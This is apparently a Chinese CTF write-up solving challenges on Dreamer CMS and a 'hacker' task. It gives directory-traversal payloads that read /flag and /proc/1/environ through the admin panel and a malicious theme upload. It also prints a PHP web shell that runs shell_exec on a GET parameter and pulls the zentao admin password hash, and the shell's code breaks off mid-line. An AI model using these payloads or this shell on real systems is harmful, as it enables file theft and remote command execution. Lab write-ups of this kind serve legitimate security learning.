0x00 签到
一直点就能得到flag
0x01 Dreamer
拿到题感觉有点儿懵
先下发靶机看一眼
梦想家CMS,好嘛,我直接一手查找官网
直接一手演示中心碰运气
哎嘿嘿,运气不错进去了,突然想起之前有位大佬写的关于Dreamer CMS的代码审计文章了
https://forum.butian.net/index.php/share/2183
想想题目一开始给的提示,flag在根目录下/flag
考虑一下使用后台设置栏目存在任意文件读取漏洞看看能不能读取flag
点击左侧栏中的“栏目/文章”选项进入到栏目管理,新建顶级栏目,创建一个命名为测试的顶级栏目。
在封面模版处,添加路径为:
../../../../../../../../../../flag
点击保存,访问前台,重新访问对应的顶级栏目,得到flag
0x02 Dreamer_revenge
跟上一个题一样
第一种思路是跟上一个题目一样,只不过把访问的文件改成../../.../../../../proc/1/environ
第二种思路是利用后台模板管理可以任意编辑的漏洞
先把default_v2
目录复制一份,修改成default_v3
。
修改其中的theme.json
文件。将其中的themePath
值修改成../../../../../../../../../../../../../../
然后打包default_v3
成default_v3.zip
,到后台风格管理处上传zip文件并启用主题。
此时再去访问模版管理即可从根目录访问所有文件
跟之前一样,访问/proc/1/environ
,即可找到flag
0x03 hacker
<?php $servername="127.0.0.1";
$username="root";
$password="123456";
$dbname="zentao";
$conn=new PDO("mysql:host=$servername;dbname=$dbname",$username,$password);
$conn->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
$stmt=$conn->prepare("SELECT password FROM zt_user WHERE account=\'admin\'");
$stmt->execute();
$result=$stmt->fetch(PDO::FETCH_ASSOC);
$conn=null;
$param=$_GET["cmd"];
$password=$result["password"];
$output=shell_exec($param);
$hex_output=bin2hex($output);
$hex_password=